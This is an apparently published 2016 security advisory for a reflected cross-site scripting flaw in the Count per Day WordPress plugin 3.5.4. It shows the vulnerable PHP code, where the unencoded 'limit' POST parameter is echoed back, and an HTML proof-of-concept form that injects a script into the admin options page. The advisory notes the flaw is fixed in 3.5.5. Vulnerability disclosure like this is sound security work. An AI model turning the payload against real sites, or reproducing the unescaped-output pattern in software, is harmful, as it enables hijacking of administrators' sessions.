WordPress Count Per Day 3.5.4 Cross Site Scripting
Posted on 07 August 2016
------------------------------------------------------------------------ Cross-Site Scripting in Count per Day WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ A Cross-Site Scripting vulnerability was found in the Count per Day WordPress Plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0024 ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Count per Day WordPress Plugin version 3.5.4. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue is resolved in Count per Day version 3.5.5. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html This issue exists in the file counter-options.php and is caused due to the lack of output encoding on the limit POST parameter. <?php // mass bots ?> <div class="postbox"> <?php $limit = (isset($o['massbotlimit'])) ? $o['massbotlimit'] : 25; $limit = (isset($_POST['limit'])) ? $_POST['limit'] : $limit; $limit_input = '<input type="text" size="3" name="limit" value="'.$limit.'" style="text-align:center" />'; In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/options-general.php?page=count-per-day%2Fcounter-options.php" method="POST"> <input type="hidden" name="limit" value=""><script>alert(1);</script>" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.
